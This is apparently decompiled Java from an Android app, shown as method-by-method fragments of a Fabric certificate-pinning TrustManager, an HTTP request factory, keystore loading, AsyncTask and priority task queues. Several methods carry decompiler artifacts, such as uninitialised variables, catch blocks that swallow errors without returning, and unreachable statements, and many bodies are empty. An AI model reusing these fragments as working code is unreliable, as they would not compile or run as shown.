        } else if (c == '%' && i + 2 < encodedLength && encoded.charAt(i + 1) == '7' && encoded.charAt(i + 2) == 'E') {
            sb.append('~');
            i += 2;
        } else {
            sb.append(c);
        }
        i++;
    }
    return sb.toString();
}



65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88

<clinit>

Java Code



PinningTrustManager

Java Code
public PinningTrustManager(SystemKeyStore keyStore, PinningInfoProvider pinningInfoProvider) {
    this.systemTrustManagers = initializeSystemTrustManagers(keyStore);
    this.systemKeyStore = keyStore;
    this.pinCreationTimeMillis = pinningInfoProvider.getPinCreationTimeInMillis();
    for (String pin : pinningInfoProvider.getPins()) {
        this.pins.add(hexStringToByteArray(pin));
    }
}



28
29
30
31
32
33
34
35

initializeSystemTrustManagers

Java Code
private TrustManager[] initializeSystemTrustManagers(SystemKeyStore keyStore) {
    try {
        TrustManagerFactory tmf = TrustManagerFactory.getInstance("X509");
        tmf.init(keyStore.trustStore);
        return tmf.getTrustManagers();
    } catch (NoSuchAlgorithmException nsae) {
        throw new AssertionError(nsae);
    } catch (KeyStoreException e) {
        throw new AssertionError(e);
    }
}



37
38
39
40
41
42
43
44
45
46
47

isValidPin

Java Code
private boolean isValidPin(X509Certificate certificate) throws CertificateException {
    try {
        byte[] pin = MessageDigest.getInstance("SHA1").digest(certificate.getPublicKey().getEncoded());
        for (byte[] validPin : this.pins) {
            if (Arrays.equals(validPin, pin)) {
                return true;
            }
        }
        return false;
    } catch (NoSuchAlgorithmException nsae) {
        throw new CertificateException(nsae);
    }
}



49
50
51
52
53
54
55
56
57
58
59
60
61

checkSystemTrust

Java Code
private void checkSystemTrust(X509Certificate[] chain, String authType) throws CertificateException {
    for (TrustManager systemTrustManager : this.systemTrustManagers) {
        ((X509TrustManager) systemTrustManager).checkServerTrusted(chain, authType);
    }
}



63
64
65
66
67

checkPinTrust

Java Code
private void checkPinTrust(X509Certificate[] chain) throws CertificateException {
    if (this.pinCreationTimeMillis == -1 || System.currentTimeMillis() - this.pinCreationTimeMillis <= PIN_FRESHNESS_DURATION_MILLIS) {
        X509Certificate[] cleanChain = CertificateChainCleaner.getCleanChain(chain, this.systemKeyStore);
        int length = cleanChain.length;
        int i = 0;
        while (i < length) {
            if (!isValidPin(cleanChain[i])) {
                i++;
            } else {
                return;
            }
        }
        throw new CertificateException("No valid pins found in chain!");
    }
    Fabric.getLogger().w(Fabric.TAG, "Certificate pins are stale, (" + (System.currentTimeMillis() - this.pinCreationTimeMillis) + " millis vs " + PIN_FRESHNESS_DURATION_MILLIS + " millis) falling back to system trust.");
}



69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84

checkClientTrusted

Java Code
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
    throw new CertificateException("Client certificates not supported!");
}



86
87
88

checkServerTrusted

Java Code
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
    if (!this.cache.contains(chain[0])) {
        checkSystemTrust(chain, authType);
        checkPinTrust(chain);
        this.cache.add(chain[0]);
    }
}



90
91
92
93
94
95
96

getAcceptedIssuers

Java Code
public X509Certificate[] getAcceptedIssuers() {
    return NO_ISSUERS;
}



98
99
100

hexStringToByteArray

Java Code
private byte[] hexStringToByteArray(String s) {
    int len = s.length();
    byte[] data = new byte[(len / 2)];
    for (int i = 0; i < len; i += 2) {
        data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i + 1), 16));
    }
    return data;
}



102
103
104
105
106
107
108
109

DefaultHttpRequestFactory

Java Code
public DefaultHttpRequestFactory() {
    this(new DefaultLogger());
}



19
20
21

DefaultHttpRequestFactory

Java Code
public DefaultHttpRequestFactory(Logger logger) {
    this.logger = logger;
}



23
24
25

getPinningInfoProvider

Java Code
public PinningInfoProvider getPinningInfoProvider() {
    return this.pinningInfo;
}



27
28
29

setPinningInfoProvider

Java Code
public void setPinningInfoProvider(PinningInfoProvider pinningInfo) {
    if (this.pinningInfo != pinningInfo) {
        this.pinningInfo = pinningInfo;
        resetSSLSocketFactory();
    }
}



31
32
33
34
35
36

resetSSLSocketFactory

Java Code
private synchronized void resetSSLSocketFactory() {
    this.attemptedSslInit = false;
    this.sslSocketFactory = null;
}



38
39
40
41

buildHttpRequest

Java Code
public HttpRequest buildHttpRequest(HttpMethod method, String url) {
    return buildHttpRequest(method, url, Collections.emptyMap());
}



43
44
45

buildHttpRequest

Java Code
public HttpRequest buildHttpRequest(HttpMethod method, String url, Map<String, String> queryParams) {
    HttpRequest httpRequest;
    switch (method) {
        case GET:
            httpRequest = HttpRequest.get((CharSequence) url, (Map) queryParams, true);
            break;
        case POST:
            httpRequest = HttpRequest.post((CharSequence) url, (Map) queryParams, true);
            break;
        case PUT:
            httpRequest = HttpRequest.put((CharSequence) url);
            break;
        case DELETE:
            httpRequest = HttpRequest.delete((CharSequence) url);
            break;
        default:
            throw new IllegalArgumentException("Unsupported HTTP method!");
    }
    if (isHttps(url) && this.pinningInfo != null) {
        SSLSocketFactory sslSocketFactory = getSSLSocketFactory();
        if (sslSocketFactory != null) {
            ((HttpsURLConnection) httpRequest.getConnection()).setSSLSocketFactory(sslSocketFactory);
        }
    }
    return httpRequest;
}



47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72

isHttps

Java Code
private boolean isHttps(String url) {
    return url != null && url.toLowerCase(Locale.US).startsWith(HTTPS);
}



74
75
76

getSSLSocketFactory

Java Code
private synchronized SSLSocketFactory getSSLSocketFactory() {
    if (this.sslSocketFactory == null && !this.attemptedSslInit) {
        this.sslSocketFactory = initSSLSocketFactory();
    }
    return this.sslSocketFactory;
}



78
79
80
81
82
83

initSSLSocketFactory

Java Code
private synchronized SSLSocketFactory initSSLSocketFactory() {
    SSLSocketFactory sslSocketFactory;
    this.attemptedSslInit = true;
    try {
        sslSocketFactory = NetworkUtils.getSSLSocketFactory(this.pinningInfo);
        this.logger.d(Fabric.TAG, "Custom SSL pinning enabled");
    } catch (Exception e) {
        this.logger.e(Fabric.TAG, "Exception while validating pinned certs", e);
        sslSocketFactory = null;
    }
    return sslSocketFactory;
}



85
86
87
88
89
90
91
92
93
94
95
96

CertificateChainCleaner

Java Code



getCleanChain

Java Code
public static X509Certificate[] getCleanChain(X509Certificate[] chain, SystemKeyStore systemKeyStore) throws CertificateException {
    LinkedList<X509Certificate> cleanChain = new LinkedList();
    boolean trustedChain = false;
    if (systemKeyStore.isTrustRoot(chain[0])) {
        trustedChain = true;
    }
    cleanChain.add(chain[0]);
    int i = 1;
    while (i < chain.length) {
        if (systemKeyStore.isTrustRoot(chain[i])) {
            trustedChain = true;
        }
        if (!isValidLink(chain[i], chain[i - 1])) {
            break;
        }
        cleanChain.add(chain[i]);
        i++;
    }
    X509Certificate trustRoot = systemKeyStore.getTrustRootFor(chain[i - 1]);
    if (trustRoot != null) {
        cleanChain.add(trustRoot);
        trustedChain = true;
    }
    if (trustedChain) {
        return (X509Certificate[]) cleanChain.toArray(new X509Certificate[cleanChain.size()]);
    }
    throw new CertificateException("Didn't find a trust anchor in chain cleanup!");
}



12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

isValidLink

Java Code
private static boolean isValidLink(X509Certificate parent, X509Certificate child) {
    if (!parent.getSubjectX500Principal().equals(child.getIssuerX500Principal())) {
        return false;
    }
    try {
        child.verify(parent.getPublicKey());
        return true;
    } catch (GeneralSecurityException e) {
        return false;
    }
}



41
42
43
44
45
46
47
48
49
50
51

getKeyStorePassword

Java Code



getKeyStoreStream

Java Code



getPinCreationTimeInMillis

Java Code



getPins

Java Code



buildHttpRequest

Java Code



buildHttpRequest

Java Code



getPinningInfoProvider

Java Code



setPinningInfoProvider

Java Code



NetworkUtils

Java Code



getSSLSocketFactory

Java Code
public static final SSLSocketFactory getSSLSocketFactory(PinningInfoProvider provider) throws KeyManagementException, NoSuchAlgorithmException {
    SSLContext sslContext = SSLContext.getInstance("TLS");
    sslContext.init(null, new TrustManager[]{new PinningTrustManager(new SystemKeyStore(provider.getKeyStoreStream(), provider.getKeyStorePassword()), provider)}, null);
    return sslContext.getSocketFactory();
}



13
14
15
16
17

SystemKeyStore

Java Code
public SystemKeyStore(InputStream keystoreStream, String passwd) {
    KeyStore trustStore = getTrustStore(keystoreStream, passwd);
    this.trustRoots = initializeTrustedRoots(trustStore);
    this.trustStore = trustStore;
}



20
21
22
23
24

isTrustRoot

Java Code
public boolean isTrustRoot(X509Certificate certificate) {
    X509Certificate trustRoot = (X509Certificate) this.trustRoots.get(certificate.getSubjectX500Principal());
    return trustRoot != null && trustRoot.getPublicKey().equals(certificate.getPublicKey());
}



26
27
28
29

getTrustRootFor

Java Code
public X509Certificate getTrustRootFor(X509Certificate certificate) {
    X509Certificate trustRoot = (X509Certificate) this.trustRoots.get(certificate.getIssuerX500Principal());
    if (trustRoot == null) {
        return null;
    }
    if (trustRoot.getSubjectX500Principal().equals(certificate.getSubjectX500Principal())) {
        return null;
    }
    try {
        certificate.verify(trustRoot.getPublicKey());
        return trustRoot;
    } catch (GeneralSecurityException e) {
        return null;
    }
}



31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

initializeTrustedRoots

Java Code
private HashMap<Principal, X509Certificate> initializeTrustedRoots(KeyStore trustStore) {
    try {
        HashMap<Principal, X509Certificate> trusted = new HashMap();
        Enumeration<String> aliases = trustStore.aliases();
        while (aliases.hasMoreElements()) {
            X509Certificate cert = (X509Certificate) trustStore.getCertificate((String) aliases.nextElement());
            if (cert != null) {
                trusted.put(cert.getSubjectX500Principal(), cert);
            }
        }
        return trusted;
    } catch (KeyStoreException e) {
        throw new AssertionError(e);
    }
}



47
48
49
50
51
52
53
54
55
56
57
58
59
60
61

getTrustStore

Java Code
private KeyStore getTrustStore(InputStream keystoreStream, String passwd) {
    BufferedInputStream bin;
    try {
        KeyStore trustStore = KeyStore.getInstance("BKS");
        bin = new BufferedInputStream(keystoreStream);
        trustStore.load(bin, passwd.toCharArray());
        bin.close();
        return trustStore;
    } catch (KeyStoreException kse) {
        throw new AssertionError(kse);
    } catch (NoSuchAlgorithmException e) {
        throw new AssertionError(e);
    } catch (CertificateException e2) {
        throw new AssertionError(e2);
    } catch (IOException e3) {
        throw new AssertionError(e3);
    } catch (Throwable th) {
        bin.close();
    }
}



63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82

<clinit>

Java Code



newThread

Java Code
public Thread newThread(Runnable r) {
    return new Thread(r, "AsyncTask #" + this.count.getAndIncrement());
}



39
40
41

done

Java Code
protected void done() {
    try {
        AsyncTask.this.postResultIfNotInvoked(get());
    } catch (InterruptedException e) {
        Log.w(AsyncTask.LOG_TAG, e);
    } catch (ExecutionException e2) {
        throw new RuntimeException("An error occured while executing doInBackground()", e2.getCause());
    } catch (CancellationException e3) {
        AsyncTask.this.postResultIfNotInvoked(null);
    }
}



45
46
47
48
49
50
51
52
53
54
55

call

Java Code
public Result call() throws Exception {
    AsyncTask.this.taskInvoked.set(true);
    Process.setThreadPriority(10);
    return AsyncTask.this.postResult(AsyncTask.this.doInBackground(this.params));
}



60
61
62
63
64

doInBackground

Java Code



init

Java Code
public static void init() {
    handler.getLooper();
}



144
145
146

setDefaultExecutor

Java Code
public static void setDefaultExecutor(Executor exec) {
    defaultExecutor = exec;
}



148
149
150

postResultIfNotInvoked

Java Code
private void postResultIfNotInvoked(Result result) {
    if (!this.taskInvoked.get()) {
        postResult(result);
    }
}



152
153
154
155
156

postResult

Java Code
private Result postResult(Result result) {
    handler.obtainMessage(1, new AsyncTaskResult(this, result)).sendToTarget();
    return result;
}



158
159
160
161

getStatus

Java Code
public final Status getStatus() {
    return this.status;
}



163
164
165

onPreExecute

Java Code



onPostExecute

Java Code



onProgressUpdate

Java Code



onCancelled

Java Code
protected void onCancelled(Result result) {
    onCancelled();
}



176
177
178

onCancelled

Java Code



isCancelled

Java Code
public final boolean isCancelled() {
    return this.cancelled.get();
}



183
184
185

cancel

Java Code
public final boolean cancel(boolean mayInterruptIfRunning) {
    this.cancelled.set(true);
    return this.future.cancel(mayInterruptIfRunning);
}



187
188
189
190

get

Java Code
public final Result get() throws InterruptedException, ExecutionException {
    return this.future.get();
}



192
193
194

get

Java Code
public final Result get(long timeout, TimeUnit unit) throws InterruptedException, ExecutionException, TimeoutException {
    return this.future.get(timeout, unit);
}



196
197
198

execute

Java Code
public final AsyncTask<Params, Progress, Result> execute(Params... params) {
    return executeOnExecutor(defaultExecutor, params);
}



200
201
202

executeOnExecutor

Java Code
public final AsyncTask<Params, Progress, Result> executeOnExecutor(Executor exec, Params... params) {
    if (this.status != Status.PENDING) {
        switch (this.status) {
            case RUNNING:
                throw new IllegalStateException("Cannot execute task: the task is already running.");
            case FINISHED:
                throw new IllegalStateException("Cannot execute task: the task has already been executed (a task can be executed only once)");
        }
    }
    this.status = Status.RUNNING;
    onPreExecute();
    this.worker.params = params;
    exec.execute(this.future);
    return this;
}



204
205
206
207
208
209
210
211
212
213
214
215
216
217
218

execute

Java Code
public static void execute(Runnable runnable) {
    defaultExecutor.execute(runnable);
}



220
221
222

publishProgress

Java Code
protected final void publishProgress(Progress... values) {
    if (!isCancelled()) {
        handler.obtainMessage(2, new AsyncTaskResult(this, values)).sendToTarget();
    }
}



224
225
226
227
228

finish

Java Code
private void finish(Result result) {
    if (isCancelled()) {
        onCancelled(result);
    } else {
        onPostExecute(result);
    }
    this.status = Status.FINISHED;
}



230
231
232
233
234
235
236
237

AsyncTaskResult

Java Code
AsyncTaskResult(AsyncTask task, Data... data) {
    this.task = task;
    this.data = data;
}



71
72
73
74

InternalHandler

Java Code
public InternalHandler() {
    super(Looper.getMainLooper());
}



78
79
80

handleMessage

Java Code
public void handleMessage(Message msg) {
    AsyncTaskResult result = msg.obj;
    switch (msg.what) {
        case 1:
            result.task.finish(result.data[0]);
            return;
        case 2:
            result.task.onProgressUpdate(result.data);
            return;
        default:
            return;
    }
}



82
83
84
85
86
87
88
89
90
91
92
93
94

SerialExecutor

Java Code
private SerialExecutor() {
    this.tasks = new LinkedList();
}



101
102
103

execute

Java Code
public synchronized void execute(final Runnable r) {
    this.tasks.offer(new Runnable() {
        public void run() {
            try {
                r.run();
            } finally {
                SerialExecutor.this.scheduleNext();
            }
        }
    });
    if (this.active == null) {
        scheduleNext();
    }
}



105
106
107
108
109
110
111
112
113
114
115
116
117
118

run

Java Code
public void run() {
    try {
        r.run();
    } finally {
        SerialExecutor.this.scheduleNext();
    }
}



107
108
109
110
111
112
113

scheduleNext

Java Code
protected synchronized void scheduleNext() {
    Runnable runnable = (Runnable) this.tasks.poll();
    this.active = runnable;
    if (runnable != null) {
        AsyncTask.THREAD_POOL_EXECUTOR.execute(this.active);
    }
}



120
121
122
123
124
125
126

WorkerRunnable

Java Code



compareTo

Java Code
static <Y> int compareTo(PriorityProvider self, Y other) {
    Priority otherPriority;
    if (other instanceof PriorityProvider) {
        otherPriority = ((PriorityProvider) other).getPriority();
    } else {
        otherPriority = NORMAL;
    }
    return otherPriority.ordinal() - self.getPriority().ordinal();
}



9
10
11
12
13
14
15
16
17

<clinit>

Java Code



PriorityThreadPoolExecutor

Java Code
<T extends Runnable & Dependency & Task & PriorityProvider> PriorityThreadPoolExecutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, DependencyPriorityBlockingQueue<T> workQueue, ThreadFactory factory) {
    super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, factory);
    prestartAllCoreThreads();
}



31
32
33
34

create

Java Code
public static <T extends Runnable & Dependency & Task & PriorityProvider> PriorityThreadPoolExecutor create(int corePoolSize, int maxPoolSize) {
    return new PriorityThreadPoolExecutor(corePoolSize, maxPoolSize, KEEP_ALIVE, TimeUnit.SECONDS, new DependencyPriorityBlockingQueue(), new PriorityThreadFactory(10));
}



36
37
38

create

Java Code
public static PriorityThreadPoolExecutor create(int threadCount) {
    return create(threadCount, threadCount);
}



40
41
42

create

Java Code
public static PriorityThreadPoolExecutor create() {
    return create(CORE_POOL_SIZE, MAXIMUM_POOL_SIZE);
}



44
45
46

newTaskFor

Java Code
protected <T> RunnableFuture<T> newTaskFor(Runnable runnable, T value) {
    return new PriorityFutureTask(runnable, value);
}



48
49
50

newTaskFor

Java Code
protected <T> RunnableFuture<T> newTaskFor(Callable<T> callable) {
    return new PriorityFutureTask(callable);
}



52
53
54

execute

Java Code
public void execute(Runnable command) {
    if (PriorityTask.isProperDelegate(command)) {
        super.execute(command);
    } else {
        super.execute(newTaskFor(command, null));
    }
}



57
58
59
60
61
62
63

afterExecute

Java Code
protected void afterExecute(Runnable runnable, Throwable throwable) {
    Task task = (Task) runnable;
    task.setFinished(true);
    task.setError(throwable);
    getQueue().recycleBlockedQueue();
    super.afterExecute(runnable, throwable);
}



65
66
67
68
69
70
71

getQueue

Java Code
public DependencyPriorityBlockingQueue getQueue() {
    return (DependencyPriorityBlockingQueue) super.getQueue();
}



73
74
75

PriorityThreadFactory

Java Code
public PriorityThreadFactory(int threadPriority) {
    this.threadPriority = threadPriority;
}



19
20
21

newThread

Java Code
public Thread newThread(Runnable r) {
    Thread thread = new Thread(r);
    thread.setPriority(this.threadPriority);
    thread.setName("Queue");
    return thread;
}



23
24
25
26
27
28

addDependency

Java Code



areDependenciesMet

Java Code



getDependencies

Java Code



getDependencies

Java Code
public synchronized Collection<Task> getDependencies() {
    return Collections.unmodifiableCollection(this.dependencies);
}



15
16
17

addDependency

Java Code
public synchronized void addDependency(Task task) {
    this.dependencies.add(task);
}



19
20
21

areDependenciesMet

Java Code
public boolean areDependenciesMet() {
    for (Task task : getDependencies()) {
        if (!task.isFinished()) {
            return false;
        }
    }
    return true;
}



23
24
25
26
27
28
29
30

setFinished

Java Code
public synchronized void setFinished(boolean finished) {
    this.hasRun.set(finished);
}



32
33
34

isFinished

Java Code
public boolean isFinished() {
    return this.hasRun.get();
}



36
37
38

getPriority

Java Code
public Priority getPriority() {
    return Priority.NORMAL;
}



40
41
42

setError

Java Code
public void setError(Throwable throwable) {
    this.throwable.set(throwable);
}



44
45
46

getError

Java Code
public Throwable getError() {
    return (Throwable) this.throwable.get();
}



48
49
50

compareTo

Java Code
public int compareTo(Object other) {
    return Priority.compareTo(this, other);
}



52
53
54

isProperDelegate

Java Code
public static boolean isProperDelegate(Object object) {
    try {
        Task task = (Task) object;
        PriorityProvider provider = (PriorityProvider) object;
        if (((Dependency) object) == null || task == null || provider == null) {
            return false;
        }
        return true;
    } catch (ClassCastException e) {
        return false;
    }
}



56
57
58
59
60
61
62
63
64
65
66
67

take

Java Code
public E take() throws InterruptedException {
    return get(0, null, null);
}



21
22
23

peek

Java Code
public E peek() {
    E e = null;
    try {
        e = get(1, null, null);
    } catch (InterruptedException e2) {
    }
    return e;
}



25
26
27
28
29
30
31
32

poll

Java Code
public E poll(long timeout, TimeUnit unit) throws InterruptedException {
    return get(3, Long.valueOf(timeout), unit);
}



34
35
36

poll

Java Code
public E poll() {
    E e = null;
    try {
        e = get(2, null, null);
    } catch (InterruptedException e2) {
    }
    return e;
}



38
39
40
41
42
43
44
45

size

Java Code
public int size() {
    try {
        this.lock.lock();
        int size = this.blockedQueue.size() + super.size();
        return size;
    } finally {
        this.lock.unlock();
    }
}



47
48
49
50
51
52
53
54
55

toArray

Java Code
public <T> T[] toArray(T[] a) {
    try {
        this.lock.lock();
        T[] concatenate = concatenate(super.toArray(a), this.blockedQueue.toArray(a));
        return concatenate;
    } finally {
        this.lock.unlock();
    }
}



57
58
59
60
61
62
63
64
65

toArray

Java Code
public Object[] toArray() {
    try {
        this.lock.lock();
        Object[] concatenate = concatenate(super.toArray(), this.blockedQueue.toArray());
        return concatenate;
    } finally {
        this.lock.unlock();
    }
}



67
68
69
70
71
72
73
74
75

drainTo

Java Code
public int drainTo(Collection<? super E> c) {
    try {
        this.lock.lock();
        int numberOfItems = super.drainTo(c) + this.blockedQueue.size();
        while (!this.blockedQueue.isEmpty()) {
            c.add(this.blockedQueue.poll());
        }
        return numberOfItems;
    } finally {
        this.lock.unlock();
    }
}



77
78
79
80
81
82
83
84
85
86
87
88

drainTo

Java Code
public int drainTo(Collection<? super E> c, int maxElements) {
    try {
        this.lock.lock();
        int numberOfItems = super.drainTo(c, maxElements);
        while (!this.blockedQueue.isEmpty() && numberOfItems <= maxElements) {
            c.add(this.blockedQueue.poll());
            numberOfItems++;
        }
        this.lock.unlock();
        return numberOfItems;
    } catch (Throwable th) {
        this.lock.unlock();
    }
}



90
91
92
93
94
95
96
97
98
99
100
101
102
103

contains

Java Code
public boolean contains(Object o) {
    try {
        this.lock.lock();
        boolean z = super.contains(o) || this.blockedQueue.contains(o);
        this.lock.unlock();
        return z;
    } catch (Throwable th) {
        this.lock.unlock();
    }
}



105
106
107
108
109
110
111
112
113
114

clear

Java Code
public void clear() {
    try {
        this.lock.lock();
        this.blockedQueue.clear();
        super.clear();
    } finally {
        this.lock.unlock();
    }
}



116
117
118
119
120
121
122
123
124

remove

Java Code
public boolean remove(Object o) {
    try {
        this.lock.lock();
        boolean z = super.remove(o) || this.blockedQueue.remove(o);
        this.lock.unlock();
        return z;
    } catch (Throwable th) {
        this.lock.unlock();
    }
}



126
127
128
129
130
131
132
133
134
135

removeAll

Java Code
public boolean removeAll(Collection<?> collection) {
    try {
        this.lock.lock();
        boolean removeAll = super.removeAll(collection) | this.blockedQueue.removeAll(collection);
        return removeAll;
    } finally {
        this.lock.unlock();
    }
}



137
138
139
140
141
142
143
144
145

performOperation

Java Code
E performOperation(int operation, Long time, TimeUnit unit) throws InterruptedException {
    switch (operation) {
        case ResponseParser.ResponseActionDiscard /*0*/:
            return (Dependency) super.take();
        case 1:
            return (Dependency) super.peek();
        case 2:
            return (Dependency) super.poll();
        case 3:
            return (Dependency) super.poll(time.longValue(), unit);
        default:
            return null;
    }
}



147
148
149
150
151
152
153
154
155
156
157
158
159
160

offerBlockedResult

Java Code
boolean offerBlockedResult(int operation, E result) {
    try {
        this.lock.lock();
        if (operation == 1) {
            super.remove(result);
        }
        boolean offer = this.blockedQueue.offer(result);
        return offer;
    } finally {
        this.lock.unlock();
    }
}



162
163
164
165
166
167
168
169
170
171
172
173

get

Java Code
E get(int operation, Long time, TimeUnit unit) throws InterruptedException {
    E result;
    while (true) {
        result = performOperation(operation, time, unit);
        if (result == null || canProcess(result)) {
            return result;
        }
        offerBlockedResult(operation, result);
    }
    return result;
}



175
176
177
178
179
180
181
182
183
184
185

canProcess

Java Code
boolean canProcess(E result) {
    return result.areDependenciesMet();
}



187
188
189

recycleBlockedQueue

Java Code
public void recycleBlockedQueue() {
    try {
        this.lock.lock();
        Iterator<E> iterator = this.blockedQueue.iterator();
        while (iterator.hasNext()) {
            Dependency blockedItem = (Dependency) iterator.next();
            if (canProcess(blockedItem)) {
                super.offer(blockedItem);
                iterator.remove();
            }
        }
    } finally {
        this.lock.unlock();
    }
}



191
192
193
194
195
196
197
198
199
200
201
202
203
204
205

concatenate

Java Code
<T> T[] concatenate(T[] arr1, T[] arr2) {
    int arr1Len = arr1.length;
    int arr2Len = arr2.length;
    Object[] C = (Object[]) ((Object[]) Array.newInstance(arr1.getClass().getComponentType(), arr1Len + arr2Len));
    System.arraycopy(arr1, 0, C, 0, arr1Len);
    System.arraycopy(arr2, 0, C, arr1Len, arr2Len);
    return C;
}



207
208
209
210
211
212
213
214

PriorityFutureTask

Java Code
public PriorityFutureTask(Callable<V> callable) {
    super(callable);
    this.delegate = checkAndInitDelegate(callable);
}



10
11
12
13

PriorityFutureTask

Java Code
public PriorityFutureTask(Runnable runnable, V result) {
    super(runnable, result);
    this.delegate = checkAndInitDelegate(runnable);
}



15
16
17
18

compareTo

Java Code
public int compareTo(Object another) {
    return ((PriorityProvider) getDelegate()).compareTo(another);
}



20
21
22

addDependency

Java Code
public void addDependency(Task task) {
    ((Dependency) ((PriorityProvider) getDelegate())).addDependency(task);
}



24
25
26

getDependencies

Java Code
public Collection<Task> getDependencies() {
    return ((Dependency) ((PriorityProvider) getDelegate())).getDependencies();
}



28
29
30

areDependenciesMet

Java Code
public boolean areDependenciesMet() {
    return ((Dependency) ((PriorityProvider) getDelegate())).areDependenciesMet();
}



32
33
34

getPriority

Java Code
public Priority getPriority() {
    return ((PriorityProvider) getDelegate()).getPriority();
}



36
37
38

setFinished

Java Code
public void setFinished(boolean finished) {
    ((Task) ((PriorityProvider) getDelegate())).setFinished(finished);
}



40
41
42

isFinished

Java Code
public boolean isFinished() {
    return ((Task) ((PriorityProvider) getDelegate())).isFinished();
}



44
45
46

setError

Java Code
public void setError(Throwable throwable) {
    ((Task) ((PriorityProvider) getDelegate())).setError(throwable);
}



48
49
50

getError

Java Code
public Throwable getError() {
    return ((Task) ((PriorityProvider) getDelegate())).getError();
}



52
53
54

getDelegate

Java Code
public <T extends Dependency<Task> & PriorityProvider & Task> T getDelegate() {
    return (Dependency) this.delegate;
}



56
57
58

checkAndInitDelegate

Java Code
protected <T extends Dependency<Task> & PriorityProvider & Task> T checkAndInitDelegate(Object object) {
    if (PriorityTask.isProperDelegate(object)) {
        return (Dependency) object;
    }
    return new PriorityTask();
}



60
61
62
63
64
65

executeOnExecutor

Java Code
public final void executeOnExecutor(ExecutorService exec, Params... params) {
    super.executeOnExecutor(new ProxyExecutor(exec, this), params);
}



29
30
31

compareTo

Java Code
public int compareTo(Object another) {
    return Priority.compareTo(this, another);
}



33
34
35

addDependency

Java Code
public void addDependency(Task task) {
    if (getStatus() != Status.PENDING) {
        throw new IllegalStateException("Must not add Dependency after task is running");
    }
    ((Dependency) ((PriorityProvider) getDelegate())).addDependency(task);
}



37
38
39
40
41
42

getDependencies

Java Code
public Collection<Task> getDependencies() {
    return ((Dependency) ((PriorityProvider) getDelegate())).getDependencies();
}



44
45
46

areDependenciesMet

Java Code
public boolean areDependenciesMet() {
    return ((Dependency) ((PriorityProvider) getDelegate())).areDependenciesMet();
}



48
49
50

getPriority

Java Code
public Priority getPriority() {
    return ((PriorityProvider) getDelegate()).getPriority();
}



52
53
54

setFinished

Java Code
public void setFinished(boolean finished) {
    ((Task) ((PriorityProvider) getDelegate())).setFinished(finished);
}



56
57
58

isFinished

Java Code
public boolean isFinished() {
    return ((Task) ((PriorityProvider) getDelegate())).isFinished();
}



60
61
62

setError

Java Code
public void setError(Throwable throwable) {
    ((Task) ((PriorityProvider) getDelegate())).setError(throwable);
}



64
65
66

getError

Java Code
public Throwable getError() {
    return ((Task) ((PriorityProvider) getDelegate())).getError();
}



68
69
70

getDelegate

Java Code
public <T extends Dependency<Task> & PriorityProvider & Task> T getDelegate() {
    return this.priorityTask;
}



72
73
74

ProxyExecutor

Java Code
public ProxyExecutor(Executor ex, PriorityAsyncTask task) {
    this.executor = ex;
    this.task = task;
}



15
16
17
18

execute

Java Code
public void execute(Runnable command) {
    this.executor.execute(new PriorityFutureTask<Result>(command, null) {
        public <T extends Dependency<Task> & PriorityProvider & Task> T getDelegate() {
            return ProxyExecutor.this.task;
        }
    });
}



20
21
22
23
24
25
26

getDelegate

Java Code
public <T extends Dependency<Task> & PriorityProvider & Task> T getDelegate() {
    return ProxyExecutor.this.task;
}



22
23
24

UnmetDependencyException

Java Code
public UnmetDependencyException(String detailMessage) {
    super(detailMessage);
}



4
5
6

UnmetDependencyException

Java Code
public UnmetDependencyException(String detailMessage, Throwable throwable) {
    super(detailMessage, throwable);
}



8
9
10

UnmetDependencyException

Java Code
public UnmetDependencyException(Throwable throwable) {
    super(throwable);
}



12
13
14

getPriority

Java Code



getDelegate

Java Code



getError

Java Code



isFinished

Java Code



setError

Java Code



setFinished

Java Code



shouldRetry

Java Code



AbstractFuture

Java Code



cancellationExceptionWithCause

Java Code
static final CancellationException cancellationExceptionWithCause(String message, Throwable cause) {
    CancellationException exception = new CancellationException(message);
    exception.initCause(cause);
    return exception;
}



109
110
111
112
113

get

Java Code
public V get(long timeout, TimeUnit unit) throws InterruptedException, TimeoutException, ExecutionException {
    return this.sync.get(unit.toNanos(timeout));
}



115
116
117

get

Java Code
public V get() throws InterruptedException, ExecutionException {
    return this.sync.get();
}



119
120
121

isDone

Java Code
public boolean isDone() {
    return this.sync.isDone();
}



123
124
125

isCancelled

Java Code
public boolean isCancelled() {
    return this.sync.isCancelled();
}



127
128
129

cancel

Java Code
public boolean cancel(boolean mayInterruptIfRunning) {
    if (!this.sync.cancel(mayInterruptIfRunning)) {
        return false;
    }
    if (mayInterruptIfRunning) {
        interruptTask();
    }
    return true;
}



131
132
133
134
135
136
137
138
139

interruptTask

Java Code



wasInterrupted

Java Code
protected final boolean wasInterrupted() {
    return this.sync.wasInterrupted();
}



144
145
146

set

Java Code
protected boolean set(V value) {
    return this.sync.set(value);
}



148
149
150

setException

Java Code
protected boolean setException(Throwable throwable) {
    if (throwable != null) {
        return this.sync.setException(throwable);
    }
    throw new NullPointerException();
}



152
153
154
155
156
157

Sync

Java Code



tryAcquireShared

Java Code
protected int tryAcquireShared(int ignored) {
    if (isDone()) {
        return 1;
    }
    return -1;
}



26
27
28
29
30
31

tryReleaseShared

Java Code
protected boolean tryReleaseShared(int finalState) {
    setState(finalState);
    return true;
}



33
34
35
36

get

Java Code
V get(long nanos) throws TimeoutException, CancellationException, ExecutionException, InterruptedException {
    if (tryAcquireSharedNanos(-1, nanos)) {
        return getValue();
    }
    throw new TimeoutException("Timeout waiting for task.");
}



38
39
40
41
42
43

get

Java Code
V get() throws CancellationException, ExecutionException, InterruptedException {
    acquireSharedInterruptibly(-1);
    return getValue();
}



45
46
47
48

getValue

Java Code
private V getValue() throws CancellationException, ExecutionException {
    int state = getState();
    switch (state) {
        case 2:
